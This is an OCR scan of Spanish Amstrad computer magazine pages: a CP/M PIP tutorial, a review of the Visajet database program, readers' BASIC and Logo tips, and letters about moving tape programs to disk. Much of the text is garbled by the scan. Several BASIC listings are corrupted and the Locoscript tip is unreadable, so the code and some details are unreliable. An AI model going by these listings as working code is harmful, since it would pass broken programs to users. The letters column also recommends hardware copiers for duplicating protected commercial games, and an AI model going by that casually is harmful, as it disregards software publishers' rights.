grama PIP.COM y permite al usua- 
rio teclear diversas Kneas de co¬ 
mandos para PIP mientras este 
permanezca en memoria. PIP es¬ 
cribe un asterisco en la pantalla 
cuando est& listo para aceptar II- 
neas de comandos. Se puede utili- 
zar cualquier linea de comandos 
vblida descrifa con anterioridad una 
vez que aparece el asterisco, y una 
vez que se ejecuta la orden dada, 
vuelve a aparecer el asterisco. 

Para salir de PIP basta con pul¬ 
sar RETURN como respuesta al as¬ 
terisco. La linea de comandos va- 
cla informa a PIP para que abando- 
ne la operacion y vuelva a CP/M. 

Ejemplos 

A>PIP 

CP/M Plus PIP VERSION 3.0 
*FICHER0 = FICHER01,FICHE- 
R02,FICHER03 

‘PROGRAMA.COM-PRO- 

GRAMB.COM 

*A: = B:X.BAS 

*Q . __ * * 

*<RETURN< 

A> 

Este comando carga el programa 
PIP. El asterisco de PIP indica 
que PIP esta listo para aceptar co¬ 
mandos. Los efectos de esta se- 
cuencia de comandos son los mis- 
mos que surtirfan si se utilizaran di- 
rectamente tras la instruccion PIP 
en la linea de comandos. No se car¬ 
ga PIP en la memoria para la eje- 
cucibn de cada linea de comandos. 
<RETURN> no significa escribir 
ese texto tal cual, sino pulsar la te- 
cla RETURN, con lo cual se vuelve 
al inductor del CP/M "A>". En lugar 
de RETURN se puede pulsar 
CTRL-M o CTRL-J. 

Uso de PIP con op- 
ciones 

Con las opciones se puede pro- 
cesar el fichero fuente de modos 
especiales. Se puede expandir los 
caracteres de tabulacibn, convertir 
mayusculas en minusculas y vice- 
versa, extraer porciones de texto, 


NOT A IMPORTANT^ ’ 

t&nsste , a a 


verificar que la copia es corrects y 
mucho mas. 

Las opciones de PIP aparecen 
en la tabla 2, usando n para repre- 
sentar un numero y s para repre- 
sentar una secuencia de caracteres 
terminada por CTRL-Z. Una opcidn 
debe seguir inmediatamente al 
nombre del fichero o dispositive al 
que afecta. La opcion debe estar 
encerrada entre corchetes cuadra- 
dos (vdase la nota adjunta). En 
aquellas opciones que requieren un 
valor numerico. no pueden existir 
espacios entre la letra y el valor. 

Se puede incluir la opcidn [Gn] 
tras la especificacidn del fichero de 
destine. Se puede incluir una lista 
de opciones tras un fichero fuente 
o dispositivo fuente. Una lista de 
opciones es una secuencia de le- 
tras sueltas y valores numericos 
que opcionalmente pueden estar 
separadas por espacios en blan- 
cos, y la lista va encerrada entre 
corchetes cuadrados (vease la nota 
adjunta). 

Ejemplos 

A>PIP PROGRAMA.BAS-CODI- 
GO.BAS[L],DATOS.BAS[V] 

Este comando construye el fi¬ 
chero «PROGRAMA.BAS» en el 
disco A juntando los dos fiche- 
ros «CODIGO.BAS» y «DA- 
TOS.BAS» del disco A. Durante 
la operacidn de copia, «CODI- 
GO.BAS» se convierte a minus- 
culas, mientras que «DA- 
TOS.BAS» se convierte a mayus¬ 
culas. 

A<PIP CON:=TEXTO.BAS[D80] 

Este comando escribe el fichero 
de caracteres "TEXTO.BAS" del 
disco A en el dispositivo de conso- 
la, pero borra todos los caracteres 
mas alia de la posicibn de colum¬ 
ns 80. 

AmPIP B: = CARTA.TXT[E] 

El fichero "CARTA.TXT" se copia 
del disco A al B. A la vez se escri¬ 
be su contenido en la pantalla 
mientras se desarrolla la copia. 


A>PIP LST:=B:PAGINAS. 
TXT[FP65] 

Este comando escribe el fichero 
"PAGINAS.TXT" del disco B en el 
dispositivo de impresibn. Segun se 
escribe el fichero, se eliminan los 
caracteres de avance de pbgina 
(FF) y se reinsertan al principio y 
cada 65 lineas a partir de ahi. 

B>PIP LST:=PROGRAMA. 
BAS[NTSU] 

Este comando escribe el fichero 
PROG RAMA. BAS desde el disco B 
al dispositivo de impresibn. El para- 
metro N indica a PIP oue numere 
las lineas, el parbmetro T8 expan- 
de las tabulaeiones a cada ocho co- 
lumnas y el parbmetro U convierte 
las letras minusculas a mayusculas 
segun se imprime el fichero. 

A" PIP TROZO.TXT = CAR- 
TA,TXT[SQuerido Sefior f ZQA- 
tentamente f Z] 

Este comando extrae un frag- 
mento del fichero ''CARTA.TXT' del 
disco A buscando la secuencia de 
caracteres "Querido Senor" antes 
de empezar la operacion de copia. 
Cuando la encuentra, los caracte¬ 
res se copian al fichero "TRO- 
ZO.TXT'' en el disco A hasta que se 
encuentra la secuencia "Atenta- 
mente" en el fichero fuente. 

B>PIP B:=A:*.COM[VWR] 

Este comando copia todos los fi- 
cheros con extensidn ".COM" des¬ 
de el disco A al B. El parbmetro V 
indica a PIP que lea los ficheros 
destino para asegurarse de que los 
datos se han transferido correcta- 
mente; el parametro W hace que 
PIP sobrescriba cualquier fichero 
destino que este marcado como 
RO (Solo lectura) y el parametro R 
indica a PIP que lea los ficheros del 
disco A que esten marcados con el 
atributo SYS (Sistema). 

Evidentemente, PIP es un pro¬ 
grama que puede dar mucho juego. 
con tan sblo dedicar un poco de 
tiempo a leer este articulo y practi 
car un poco sobre el ordenador. 
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PROFESIONAL 


DATOS YARCHIVOS A MEDIDA 

VISAJET 

Aprovechando la gran 
potencia del Mallard 
Basic en la gestion de 
ficheros indexados, 
Visajet es un pro grama 
que pone al alcance del 
usuario la posibilidad de 
llegar a crear una 
potente base de da (os. 


L A idea general de este progra- 
ma se podria resumir en la ex- 
presion «generador de fiche¬ 
ros indexados». Y es que, efectiva- 
mente, se reduce a eso, ni mas ni 
menos que crear ficheros indexa- 
dos (ya se sabe, aquellos que per- 
miten una busqueda selectiva por 
claves), pero con los campos y la 
estructura que el usuario desee. 
Apoyando y complementando esta 
funeion central encontramos una 
serie de opciones que van desde la 
regeneracion de un fichero corrup- 
to hasta la emision de recibos. 

Una vez en marcha el programa, 
aparece el menu principal, donde 
estan las diez opciones de trabajo 
de Visajet, diez opciones que a su 
vez dan paso a otros menus y sub¬ 
menus. Las opciones son: menu de 
generacion, listado de ficheros, 
consolidacion de ficheros, regene¬ 
racion de ficheros, modification ge¬ 
neral, edition de ficheros, emision 
de etiquetas, emision de recibos. 
iraspaso de ficheros y salir al siste- 
ma. Todas ellas se activan con solo 
pulsar la tecla correspodiente a la 
letra que figura delante de cada 
una. 
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La filosofia de trabajo es sencilla 
y directa, aunque como ya vere- 
mos. en algunos puntos resulta 
algo engorrosa. En primer lugar hay 
que generar la descripcion del fi¬ 
chero de datos, esto es, definir que 
forma, cuantos y que tipo de cam¬ 
pos, establecer las claves de bus¬ 


queda, etcetera. Terminado el pro- 
ceso de descripcion (labor que se 
lleva a cabo desde el menu de ge- 
neraciori), se puede pasar ya a la 
introduction de datos segun ese 
modelo. Si ya se tienen creados los 
ficheros de datos es posible consul- 
tar la informacion por medio de las 
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distintas claves establecidas para 
ese fichero. Sin salir de este menu 
es posible borrar ficheros, ver cuan- 
tos y de que clase tenemos en el 
disco, listar las caractensticas del fi¬ 
chero, modificar la informacion ya 
almacenada y grabar la definicion 
del fichero. 

Campos definibles 

A! establecer las caracteristicas 
de cada campo podemos elegir que 
tipo de informacion va a contener, 
su longitud y el formato en terminos 
de enteros y decimales. En cuanto 
al tipo de la informacion, esta pue- 
de ser alfanumerica, justificada a la 
derecha, a la izquierda o con exten¬ 
sion forzada, un codigo ASCII, la fe- 
cha (con formato DD/MM/AA), un 
entero positive, un entero con sig- 
no (positivo o negativo), porcenta- 
je, numero con simple precision y 
por ultimo con doble precision. La 
longitud en los campos alfanumeri- 
cos no tiene limite, pero esta redac- 
cion ha comprobado que si la ex¬ 
tension pasa de setenta y tres ca- 
racteres, al editarlo se «pisan» 
unos campos a otros, e incluso en 
la impresora se produce algun pro- 
blemilla, de todas formas, es posi¬ 
ble paliar en parte este contratiem 
po con un poco de paciencia e in- 
genio. Pero, al fin y al cabo, un 
campo con setenta caracteres ya 
es bastante grande para informa- 
cibn normal. 

En cuanto a las claves, existen 
dos tipos: la principal y las secun- 
darias. Su definicion es extremada- 
mente sencilla, lo unico que hay 
que hacer es in dicar de que tipo es 
y a que campos va a hacer referen¬ 
da. Eso es todo. 

Los listados pueden ser totales o 
sblo de los campos que nos intere- 
san y siempre siguiendo como cri- 
terio alguna de las claves. Como 
detalle muy interesante es que es 
posible realizar la suma de los cam¬ 
pos numericos que el usuario de- 
see. 

Un paso atras 

Volviendo al menu principal, la 
opcion de consolidar ficheros recu- 
pera los ficheros que por cualquier 
motivo (corte en el fluido electrico, 
desconexion accidental del equipo, 
etcetera) no pueden ser leidos por 
el programa. En el caso de que al- 
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guno de estos ficheros estuviera lo 
suficientemente corrupto para que 
aun habiendolo consolidado siga 
dando problemas, entonces es ne- 
cesario recurrir a la opcion de rege- 
nerar ficheros, la cual volvera a 
montar los indices del fichero, a la 
vez que eliminara aquellas partes 
que no sea posible recuperar. 

' Traspaso de fichero permite al 
usuario realizar trasvases de datos 
de un fichero a otro, pero solamen- 
te si arnbos tienen las mismas ca¬ 
ractensticas. Mientras que modifi- 
cacion generica hace posible intro- 
ducir un determinado cambio en to- 
dos los campos que queramos de 
un fichero. 

A la hora de emitir etiquetas de- 
bemos definir todos los parametros 
de estas. Asi, por ejemplo, es ne- 
cesario establecer el ancho de 
cada etiqueta, su aitura y la sepa- 
racion entre ellas (tanto vertical 
como horizontal). Tambien hay que' 
marcar el tipo de letra (a elegir en¬ 
tre un total de doscientos, la mayo- 
ria de ellas combinaciones de dis- 
"tintos elementos, como subrayado, 
negra, cursiva, etcetera). La infor¬ 
macion que contendra la etiqueta 
debe ser especificada, teniendo en 
cuenta que tipo de campo y la lon¬ 
gitud. 

Algo mas complejo es la emision 
de los recibos. La principal dificul- 
tad viene dada por la gran cantidad 
de parametros que requiere la ope- 
racion y la escueta ayuda que el 
manual aporta. A pesar de todo, la 
potencia a la hora de emitir recibos 
es patente. 


En resumen 

En lineas generales este progra¬ 
ma es de esos que dejan ver, mas 
o menos claras, unas posibilidades 
muy interesantes. Sin embargo, al- 
gunos detalles hacen, desgraciada- 
mente, que su mvel baje. Asi - , por 
ejemplo. la idea es muy buena, 
pero una carencia importante le 
corta al usuario muchas alas: si el 
objetivo es que cada uno pueda de¬ 
finir la forma en que va a organizar 
su informacion, <^por que no puede 
hacer lo mismo con la salida de 
esta en pantalla, pero sobre todo 
por impresora? Las opciones de re¬ 
cibos y etiquetas son indudable- 
mente de gran valor, pero puede 
ser que alguien quiera obtener fi- 
chas bibliograficas. 

De todas formas, seguro que 
para mas de uno, este sera el pro¬ 
grama que estaba buscando. Si 
esto es asi. seguramente no le im- 
porten demasiadoo los «problemi- 
llas» citados. c u p 


CREADO POR: Valles Infor- 
m&tica, S. A. 

DISTRIBUTE: Valles Infor- 
matica. Telefono (93) 
691 23 11. 

LO MEJOR: La idea. 

LO PEOR: Muchos detalles 
sin pulir. 
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DESCRIPCION DEL PROGRAMA 


El generador de 
ficheros 

Esta herramienta per- 
mite la creacion de fiche¬ 
ros indexados, admitien- 
do un maximo de ocho 
claves. Estas claves pue- 
den constar de varios 
campos, con una longitud 
maxima por clave de 
32 caracteres. 

El generador de fiche¬ 
ros accede a un menu 
que perrnite la lectura, 
modifieacion. creacion y 
anulacion de ficheros, asi 
como la posibilidad de lis- 
tar el directorio del disco. 

Perrnite nueve tipos de 
campo posibles en la ge- 
neracion del fichero: lite¬ 
ral izquierda (alfanumeri- 
co encolumnado por la iz¬ 
quierda). literal derecha 
(alfanumerico encolum¬ 
nado por la derecha), lite¬ 
ral forzado (alfanumerico 
para la entrada obligada 
de «n» caracteres), nu- 
mero ASCII (numerico de 
un solo byte, entre 0 y 
255), fecha (admite seis 
digitos DD/MM/AA), ente- 
ro positivo (numerico en¬ 
tre 0 al 65000). entero 
con signo (numerico que 
puede ser positivo y ne- 
grativo entre -32768 y + 
32767), porcentaje (el or- 
denador lo trata siempre 
como tal), simple preci¬ 
sion (numerico con siete 
cifras significativas. re- 
dondea siempre a nume- 
ros mayores) y doble pre¬ 
cision (hasta dieciseis di¬ 
gitos significativos). 

En la longitud de los 
campos el ordenador indi 
ca la longitud para los nu- 
merieos, mientras que 
para los alfanumericos la 
portemos nosotros. Si la 
longitud en los alfanume¬ 
ricos es superior a 73 ca¬ 


racteres hace superposi- 
cion de campos. 

El editor de 
ficheros 

El editor de ficheros 
nos va a permitir el poder 
dar altas, bajas, modifica- 
ciones y consulta en los 
ficheros. La forma de dar 
las altas y las bajas viene 
siendo igual que en otros 
tipos de programas, pide 
los datos y los graba o 
pide el registro y lo borra. 
Las modificaciones las 
realiza buscando el regis¬ 
tro y pidiendo el numero 
del campo a modificar no 
haciendo una edicion de 
todo el registro. Las con- 
sultas permiten leyendo 
uno a uno retroceder, ir al 
principio o al final del fi¬ 
chero. La unica incomodi- 
dad que presenta el edi¬ 
tor de ficheros se halla en 
la modifieacion de los da¬ 
tos al no permitir una edi¬ 
cion total del registro. La 
velocidad de grabacion 
es muy buena. 

listado de 
ficheros 

Esta herramienta es 
utilizada para el listado ae 
los datos por una clave 
dada permitiendo una se- 
leccibn de los campos 
que deseamos sacar. A la 
misma vez si el listado va 
a ser mas veces utilizado 
podemos grabarlo en el 
disco. En el listado podre- 
mos introducir cabeceras, 
tituios y podremos limitar 
el listado dependiendo de 
la primera clave y la ulti¬ 
ma a listar. Los listados 
salen unicamente por la 
impresora, lo que hace 
que necesitemos siempre 
tener la impresora lista 
para recibir los listados, 


no dando posibilidad a 
una vision por pantalla 
antes de hacer el listado. 

Consolidacidn y 
regeneration 

El proceso de consoli¬ 
dacion en los ficheros tie- 
nen como fin el recuperar 
un fichero que se haya 
quedado inconsistente 
por un proceso anormal 
como puede ser un code 
en el fluido electrico, etce¬ 
tera. Pero el programa no 
garantiza que la relacion 
existente entre el fichero 
de datos y el fichero de 
claves sea correcto des¬ 
pues de utilizar esta 
herramienta. Para la I 
eventualidad esta la rege¬ 
neracion del fichero o 
para si queremos cambiar 
el arbol de claves, es de- 
cir, si queremos anadir o 
anular clave si afectar al 
fichero de datos. El ma¬ 
nual nos hace una nota 
de que siempre que utili 
cemos esta herramienta 
haga copia de seguridad 
de los ficheros. 

Traspaso y 
modification 

El traspaso de ficheros 
es una herramienta que 
nos permitira pasar de un 
fichero a otro todos los 
campos o algunos cam 
pos, incluso podemos 
cambiarle la longitud de 
los campos y hacerla su¬ 
perior. La modifieacion de 
ficheros nos perrnite el 
forzar el valor de un cam¬ 
po o campos de un fiche¬ 
ro a uno que determine- 
mos. 

Emision de 
recibos 

Esta herramienta per- 
mite el poder realizar re¬ 


cibos con la informacibn 
contenida en la basa de 
datos. 

Podemos generar 
nuestro propio formato de 
recibos y nos perrnite las 
cuatro operaciones basi- 
cas en la confeccion 
(surna, resta, division y 
multiplicacion). Ademas, 
podemos incluirle literales 
alfabeticos que se podrbn 
imprimir en los recibos 
como constantes y nos 
perrnite en la confeccion 
del recibo ponerlo en dis- 
tintos tipos de letra, ha- 
biendo un total de dos- 
cientos tipos distintos de 
letras y la columna donde 
deseamos que saiga im- 
preso el contenido del 
campo. La confeccion del 
recibo se hace mediante 
pantallas, en cada una de 
las cuales vamos introdu- 
ciendo las distintas infor- 
maciones. 

Emision de 
etiquetas 

La emisidn de etiquetas 
nos perrnite el sacar la in¬ 
formacibn de la base de 
datos para enviar cartas, 
hacer referencias para ar- 
tlculos, etcetera. 

La forma de creacibn 
de etiquetas es igual a la 
utilizada para la emision 
de recibos. Vamos por las 
distintas pantallas intro- 
duciendo la informacibn 
hasta completar la etique- 
ta. Tambien disponemos 
de los mismos tipos de le¬ 
tra que para la emision de 
recibos y perrnite el poder 
sacar de un mismo regis¬ 
tro varias etiquetas a la 
vez sin necesidad de vol- 
ver a ejecutar la opcibn 
de etiquetas. 

F. R. M. 
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NUEVA 

DIRECCION 

AMSTRAD USER cambia 
de direccion 



Esperantos vuestras cartas y llamadas. Gracias. 





TRUCOS 



EVITANDO 

SALIDAS 

INNECESARIAS 


Muchas veces hemos tenido el 
desagradable problema de haber 
escrito un programs y sin haberlo 
salvado lo hemos ejecutado y por 
error nos ha aparecido un mensaje 
de error del BDOS y acabamos en 
el sistema con la consiguiente per- 
dida del programa que nos obliga a 
volver a teclearlo. Pues bien ahora 
con este truco tenemos la solucion 
para que aparezca el mensaje del 
BOOS, pero sigamos estando en 
BASIC sin borrarse el programa. 



CURIOSIDADES 
EN OUT 


Aqul tenemos algunas 
formas para utilizar OUT 
que nos vendran a todos 
muy bien a la rnisma vez 
que os adjuntamos un tru¬ 
co para ver como la pan- 
talla va desapareciendo 
por arriba y apareciendo 
por abajo con solo pulsar 
EXTRA + puntero arriba. 

Guillermo Ramirez 
Perez 
Madrid 


/. Arrancar CP/M. 

2. TedearSAVE. 

3. Despues BASIC. 

4. Una vez en basic: POKE 257,150: POKE 258,1. 

5. Tecleamos SYSTEM. 

6. A continuacion deberemos de poner en la unidad 

un disco con al menos 40K libres. SAVE interceptara la 
vuelta a CP/M y pedira un nombre para un fichero, tenien- 
dole que escribir: BASIC.PRB. 

Ahora SAVE pedira la direccion hexadecimal inicial, a 
lo que tendremos que escribirle: 0100. 

Y despues la direccion hexadecimal final: 70FF. 

Ahora tenemos en el disco un fichero llamado BA¬ 
SIC.PRB. Si tecleamos A>BASIC.PRB, entramos al BA¬ 
SIC sin pasar por el mensaje de presentacion; ademas, 
si tecleamos por error OPTION FILES N. tendremos un 
mensaje de error pero seguiremos dentro del BASIC. 

Guillermo Ramirez Perez 
Madrid 


Formas de OUT: 


- OUT 

241,0 - 

Sail da a OP/M. 

- OUT 

248,1 - 

Kesct < Jgual quo MAYS t EXTRA + SAL 

- OUT 

248,8 

Pantalla i nei te. 

- OUT 

248,7 - 

Pantalla r ecuperada. 

- OUT 

247,12- 

Parpaduo de pantalla. 

- OUT 

252,3 - 

B1oqueo de Impresora. 

- OUT 

246,x - 

Maneja de sera)1 vertical. X puede va 
desde 0 a 248. 


10 

x 0 





20 

A$=irtkey$ : if a$ "" 

then 

20 



30 

If a$ = "5" then x xt l 
else gosub 60 

: 1 f 

x> =24 8 then x=0 : 

gosub 

60 

40 

if a$="." then x=x 1 
else gosub 60 

: if 

x<-0 then x~248 : 

gai^ub 

60 

50 

goto 20 





60 

out 246,x return 







LA ESTRELLA 

Aqui tenemos otro programa en Logo que a 
los que sois amantes de los dibujos creemos 
que os va a gustar. 

Xavier Mula Alecha 
Barcelona 


to sol 
ht 

setsplit 2 

pu rt 90 fd 8 It 90 fd 25 pd 
repeat 180 i fd SO rt 2 bk 50 i 
home 

repeat 21 i rt 12 fd 257 pu rt 5 pd bk 267 i 
end 
































PCW 


£slo tf un 6uen iruco 


Cabe 


ceras 


y - p ies en Locoscript. 


rz 

, pP “ ; " r ° a ^“ r "i‘ ll.°ZT.£ l *•"■> <”>»«=« y yolvl .„ do . 

A continuacion rpmiar 

r£ d i^ p ^ 

° s p ;« jsss-- - - * .„ _ 

D) Una vez de vue)ta ai 

E) " i 1 » P is; r j e e ;T 1 " lri coio ^« mDS e i Papel 

iraprinldo el pie^EnT 1 ’ 10 ’ cuando Malice nota'rem' SltuacJ ° n n °rfflal 
iermlne de collar " TV 6 ^ 03 levantar la K ^ ^ ha 
documents. Despu4s n , P3pf>1 P uls aremos SA1 e in r ( f 1 " 3 y cuand ° 
Hevarenos la P«Weinos IMPR y sel ^ ? lra P rl “i^ el pJe dg] 

- - **- »• *si-^ r° 
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Pedio Moreno Garcia 
OVIEDO 


I 


CONVERT I DOR OE BASE 10 A CUALQUIER OTRA BASE 

Este true 3 nos per*ite concert It an numero en base 10 
a cualquier otra base 

10 PRINT CHRft 12) 

20 IIWiBase”; fcaseZ 

30 IF baseV: THEN 10 

40 INPDT'iNaisero": a 

50 IF a>=lE+20 THEN !0 

60 C!H fS(fi7);if=" *;b=a;d*=T;c=b/base* 

70 fS(d?)=b-INTUJtbaseS 
60 b=INT(t):c=b/base51 dt=4«+l 
90 IF b>=l THEN 70 
100 FOR e*=dM TO 1 STEP-1 
110 af-af^TRfCfSfe/.)) 

120 NETT it 

130 PRINT a'"0ecir»dl"- ";a$;" en base*;base5 


miA QUE BASE 
QUIERE? 

Este sencillo programa nos va a per- 
mitir el pasar un numero en base 10 a 
cualquier otra base. 

Jose Mora Mohedano 
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TRUCOS 


Mejorar la 
presentacidn de 
los programs 


E STOS tres trucos nos 
pueden ser utiles para 
mejorar la presentacidn de 
nuestros programas. 

El primero saca rotulos en 
diagonal, el segundo hace ti- 
tulos enmarcados y sonoros 


y, por ultimo, el tercer truco 
nos va a servir para sacar 
distintos tipos de letra por 
impresora. 


Xavier Mula 


iCOKC SE KACE UK TITULO ENKASCADO Y SOKORO? 


10 PRINT CHRS(27)+"0" 

20 pltldo$=CHR$(7) 

30 PRINT CHR$<134);STRINGS(85,138);CHK$(140>;pitidoS 

40 PRINT CHRS(133);:PRINT TAB(36)"AMSTRAD USER"PRINT TAE (87);CHRS(133);pitidoS 
50 PRINT CHRS(131);STRINGS(85,138);CHRS(137) 

60 FOR x=l TO 26:PRINT pitidoS:NEXT x 


AMSTRAD USER 


UN TITULO EN DIAGONAL 


10 esc$=CHRS <27-) : PRINT escit"0" 

20 PRINT escS; H £" ; cl$-esc$ + " bb" +esc$ + " cc" ; os$-esc£+-" cb" +esc$ + " be" 

30 a$ = " ESTO ES UN TITULO EN DIAGONAL" 

4 0 FOR x=l TO LEN <a$ > 

50 PRINT TABCx);MID*(aS,x,1):FOR m=l TO 150:NEXT m 

60 NEXT x: FOR t=l TO 3000: NEXT t: FOR g=l TO 30:PRINT os$; CHRS (7) ■ cl $ ■. NEXT g-.PRIN 
T QS$ 


10 LPRINT CHRS(27);"!»;CHRS(30) 
20 LPRINT "AMSTRAD USER" 

PUEDE ESCRIBIR CON LETRA PEQUEM 
AMSTRAD USER 


TAKBIEK PUEDE ESCRIBIR CON LETRA GRANDE I NEGRA. 




TM 


T (R 




PDiferentes tipos de letra con BASIC 

C REO que algun usuario de un PCW aun no sabe 
que BASIC cuenta con una amplia gama de tipos 
de letra, que pueden usarse 
con solo modificar la linea 10 
del siguiente programa, si 
cambiamos el numero 30 y lo 
sustituimos por otro numero 
comprendido entre 1 y 63. 


TJ K re 
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___ PCW 

M Inter eses 1 


U N pequeno truco que nos va a permitir el poder saber los intereses que nos va a abonar el banco por el 
dinero que ie ingresemos. 


1 0 1 

4 4 1 t *.+ +: r r r f i- r i i i 



20 ' 

:t: INTERESEs 1 



30 ' 

T fuR J. RAMJ 'a 1 



4 0 ' 

4 ALOUD1M Ba 1 



50 ' 

i MALLORCA 4 



7 0 REM T i :+ 4 * 4 4 F r U N C I 0 N E S 

if t tf til i 


SO E 

3Ci*=CHRit,27> 



90 C 

L.»=E,SC4h " E " +E6Ci+ " H 



1 00 

INVS>=ESCi-t-"p" 



1 1 0 

NOR*=ESC*+"q" 



t 20 

DEE' FNlocstx, yl”esc 

$+“ Y" ( . .)(. o2+y .J 


1 30 

PR 1 NT c 1 $ 



1 40 

1 SO 

' t 4 >■ M i M rt:r:rt 4PAN 
PRINT FN loci'! 5,26.) 

1 ALL 

; i nv$; 11 I N T t. h' E 9 E S " ; nor$ 


1 60 

PR1N1 FN loc*<8,1&) 

; “CAPITAL. Pts," 


1 70 

PRINT FN loci f. 3,55) 

;"TLEMPD; Ados." 


1 30 

PRINT FN loci'. 13,35 

1 ; “REDifo 1 % Pts." 


1 30 

PRINT FN loci' 20 , -30 

" I N 1 b KbS— Pts . " 


200 

PR INI FIM 1 o c 4 t 8,2 4 j 

; : J NPU1 ca.pi tal 


210 

PRINT FN loci'. 3,6 3; 

; : INPU r t i ernpo 


220 

PRINT FIT loci' 13,43 

.) ; : l'NFUl red ltd 


23u 

1 .* +.., it f.t ct l.U t • * 4P 

ESt It. TAOOt fit Mi -t ******** 


240 

i n terc-s = c cp i to lit i empot red i to/ 1 00 


2S0 

PRINT FN iO'C i t 20,19 

.) ; int-eres 


260 

PRINT FN loci'! 23, 30 

i;"TDTAL= " ; inter es'-capi tal ; " l-'ts," 


270 

PRINT : PRINT vFRINT',PRINT T ABC 20') * "PARA HACER UTRA OPERAS ION PULSE ' " 

; : f« — I 

NPUTi< 1 



230 

IF fi="0" DR 1 

1 HEN RUN ELSE END 

i 


■ Algo nuevo 
sobre RPED 


I MAGINO que son mu- 
chos los usarios del 
AMSTRAD PCW que al- 
guna vez han utilizado el 
editor de ficheros ASCII 
RPED, un programa BA¬ 
SIC que se encuentra en 
el disco 2 del sistema. 
Los que lo hayan usado 
se habran dado cuenta de 
que, al parecer, solo se 
pueden crear y editar fi¬ 
cheros en el disco A. 
Pues bien, existe una pui- 
sacidn de tecla oculta 
para cambiar de unidad 
de disco, 

Cuando en la pantalla se 
le pida el nombre del fi- 
chero a editar o a crear, 


antes de escribir nada. 
pulse la tecla cCURSOR 
ARR!BA> y vera como 
en la pantalla el cursor 
que estaba al principio del 
espacio reservado para el 
nombre del fichero, salta 
a la posicion de la letra 
que indica la unidad de 
disco. Ahora basta con 
escribir la letra de la uni¬ 
dad de disco que se de¬ 
sea utilizar (A, B, 6 M) se- 
guida del simbolo para 
que el cursor vuelva al 
principio del espacio re¬ 
servado para el nombre; 
escribimos este y... jma- 
ravilla!, el fichero se lee 
del disco indicado. 


■ iProblemas de memoria 
en Master Graphics? 


E N relacion con el pro¬ 
grama Master Gra¬ 
phics de Xavier Artigas 
que publicamos en el mes 
de agosto numero 35, Al¬ 
fredo Perez, uno de nues- 
tros mas implacables lec- 
tores, encontro que tenia 
un problema de memoria 
y nos envia una forma de 
solucionarlo. El mismo os 
contara en que consiste 
el problema y como se 
soluciona. 

«... Una vez tecleado y 
corregidos los errores de- 
bidos a las faciles confu- 
siones entre la profusion 
de letras I (ele) y numeros 
1 (uno), al correrio apare- 
ce el mensaje; «Memory 
full in 99», que es donde 
se dimensionan tres ma¬ 
trices. 


Intente dimensionarlas 
mas pequehas y con ello 
ya aparece el menu, pero 
al dar valores aparece 
otro mensaje de error: 
•-String space full in 310». 
Tras comprobar el tama- 
ho del programa (16 K) y 
el poco espacio de me¬ 
moria que queda con 
GSX (17.255 Bytes), se 
me ocurrid tratar de com- 
primir el programa en lo 
posible. 

Para empezar, quite to- 
das las lineas de comen- 
tarios (REM), excepto las 
iniciales de cada rutina, 
que es donde se hacen 
las llamadas con GO- 
SUB, y SIMPLEMENTE 
con esto, el programa 
funciona correctamente 
(queda con 15 K)...» 
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CORREO 


CPC 


ft 


oseo desde hace casi 
dos anos un AMSTRAD 6128 
con disco y hace unos dias 
me cumpre un magnetofon 
para que los programas pu- 
dieran ser leidos en cinta, 
esto lo hico porque en el ma¬ 
nual de instrucciones se ha- 
llaba la informacion de que 
podian teerse programas en 
cinta y escribirlos en disco 
bien, este es mi problema, 
conecto un magnetofon, in- 
troduzco un disco en la uni- 
dad y no consigo grabarlo. 
En ocas iones se grabs alp ta¬ 
na «K». pern luego me sale 
error. 


Francisco Cervantes 
Gonzalez 
(Tarragona) 

Si lo que quieres es pasar 
tus propios programas de 
cinta a disco, haz lo siguien- 

te: 

Tecla :TAPE 

Carga el programa que 
quieres pasar a disco. 

Tecla :DISC 

Grabalo con SAVE" el 
nombre que quieras. 

Para pasar programas co- 
merciales de cinta a disco 
puedes utilizar alqun proqra- 
ma copiador. Entre los mas 
conocidos y de mayor divul¬ 
gation se encuentran el DIS 
C0L00GY y el TRANSMAT. 

Tambieri dispones de dos 
copiadores per hardware: el 
TRANSTAPE y el MULT I PA¬ 
CE TWO. FI primero de elios 
realiza copias que no necesi- 
lan del mis mo para cargar 
se. El MULTIFACE realiza co¬ 
pias dependientes, lo que 
quiere decir que necesitas 
tener conectado el MULTiFA- 
CE para carqarlas posterior- 
mente. 


CPC 


D. 


esde hace varios anos 
poseo un CPC 6128 y estoy 


muy comento con 61 Sin 
embargo, debido at costoso 
precio de los programas en 
disco los he tenido que ir 
comprando en cinta Creo 
gue entenderan pertecta- 
mente que a alguien que 
haya utilizado un disco le re- 
sulte el cassette altamente 
lento. Es por ello que me he 
interesado en el Multiface 
Two. del cual aparece un ar- 
ticulo publicado en el nume- 
ro 17 de su revista. 

Sin embargo, en el mismo 
articulo se citan ciertos pro- 
blemas al usarlo en ml mo- 
deto. 

Tambien tengo un amigo 
due hace ano y medio tuvo 
que devolver el aparato por 
que solo copiaba ciertos pro¬ 
gramas y el ordenador se 
«c,olgaba» a menudo. 

1. I Se han solucionado 
actualmente dichos proble- 
mas del aparato? 

2. Tengo varios copiones 
de cinta-disco, como trans 
mat, spirit, la opcion del dis- 
cology 1, discovery, etcete¬ 
ra. Pern solo consigo pasar 
algunos videojuegos. yExis- 
te alguna opcion de estos 
gue vo desconozca que los 
pase? yExiste algun copion 
mas liable? 

3. He visto un anuncio 
que habla de un aparato pa- 
recido at Multiface Iwo. Se 
llama Transtape-Amstrad. 
iTienen alguna informacion- 
sob re el? 

4. iAlguna sugerencia? 
(Aparte, claro esta, de com- 
prarme los proximos progra¬ 
mas en disco.) 

5. Cambiando de tema. 
Podnan decirme cual es el 
distribuidor del juego Classic 
Axiens publicado en el nu- 
mero 21 de.su revista? 

(SI lo saben anadan las 
senas del mismo, por favor.) 

Luis Arocas Jimenez 
(Valencia) 

1. En las propias instruc- 
ciunes del Multiface viene 
como solucionar este pro¬ 
blems, pareialmente. Para 
solucionario con total efectl- 
vidad, necesitarias una nue- 
va ULA o chip de video. 

2. No, el copion mas fia- 


ble para pasar programas de 
cinta a disco es el Multiface 
Two y el Trastape. 

3. Las orincipales carac- 
teri'sticas del Transtape- 
Amstrad son: 

— Realiza copias inde- 
pendientes, o sea, no nece¬ 
sitas luego tener el transta¬ 
pe conectado para cargar el 
juego. 

— Permits poner pokes. 

— Salva el programa en 
varios bloques, lo que facili- 
ta examinarlos. 

4. Particularmente, en 
caso de que te iriterese rnu- 
cho pasar los programas a 
disco y no tengas conoci- 
mientos de codigo maquina 
(para los programas protegi- 
rios), te aconsejariamos que 
te compraras el Multiface 
Two o el Transtape. La elec¬ 
tion es tuya. 

